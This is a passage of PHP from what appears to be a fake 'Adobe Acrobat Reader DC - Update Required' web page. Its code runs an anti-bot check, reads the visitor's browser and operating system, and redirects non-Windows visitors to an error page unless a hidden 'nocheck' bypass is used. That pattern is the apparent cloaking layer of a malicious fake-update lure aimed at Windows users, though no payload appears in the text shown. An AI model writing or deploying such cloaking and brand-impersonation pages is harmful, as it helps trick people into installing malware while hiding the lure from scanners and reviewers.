isEnabled()) { // Check if verification is complete or bypass check is requested if (!$antiBot->isVerificationComplete() && !isset($_GET['nocheck'])) { $verificationRequired = true; $captchaEnabled = $antiBot->isCaptchaEnabled(); $captchaSiteKey = $antiBot->getCaptchaSiteKey(); // Create verification challenge $verificationData = $antiBot->createChallenge(); } } // Check for Windows OS $isWindowsOS = false; $userAgent = $_SERVER['HTTP_USER_AGENT'] ?? ''; if (stripos($userAgent, 'windows') !== false) { $isWindowsOS = true; } // Get browser and OS information function detectBrowser($userAgent) { $browser = "Unknown Browser"; if (preg_match('/MSIE|Trident/i', $userAgent)) { $browser = 'Internet Explorer'; } elseif (preg_match('/Firefox/i', $userAgent)) { $browser = 'Mozilla Firefox'; } elseif (preg_match('/Chrome/i', $userAgent)) { $browser = 'Google Chrome'; } elseif (preg_match('/Safari/i', $userAgent)) { $browser = 'Safari'; } elseif (preg_match('/Opera|OPR/i', $userAgent)) { $browser = 'Opera'; } elseif (preg_match('/Edge/i', $userAgent)) { $browser = 'Microsoft Edge'; } return $browser; } function detectOS($userAgent) { $os = "Unknown OS"; if (preg_match('/Windows NT 10.0/i', $userAgent)) { $os = 'Windows 10'; } elseif (preg_match('/Windows NT 6.3|Windows NT 6.2/i', $userAgent)) { $os = 'Windows 8'; } elseif (preg_match('/Windows NT 6.1/i', $userAgent)) { $os = 'Windows 7'; } elseif (preg_match('/Windows NT 6.0/i', $userAgent)) { $os = 'Windows Vista'; } elseif (preg_match('/Windows NT 5.1|Windows NT 5.2/i', $userAgent)) { $os = 'Windows XP'; } elseif (preg_match('/Macintosh|Mac OS X/i', $userAgent)) { $os = 'Mac OS X'; } elseif (preg_match('/Linux/i', $userAgent)) { $os = 'Linux'; } elseif (preg_match('/Ubuntu/i', $userAgent)) { $os = 'Ubuntu'; } elseif (preg_match('/iPhone|iPad|iPod/i', $userAgent)) { $os = 'iOS'; } elseif (preg_match('/Android/i', $userAgent)) { $os = 'Android'; } return $os; } $browserInfo = detectBrowser($userAgent); $osInfo = detectOS($userAgent); // Get current date $currentDate = date('F j, Y'); // Redirect to error page if not Windows and no bypass is set if (!$isWindowsOS && !isset($_GET['nocheck'])) { header('Location: error.html'); exit; } ?> Adobe Acrobat Reader DC - Update Required

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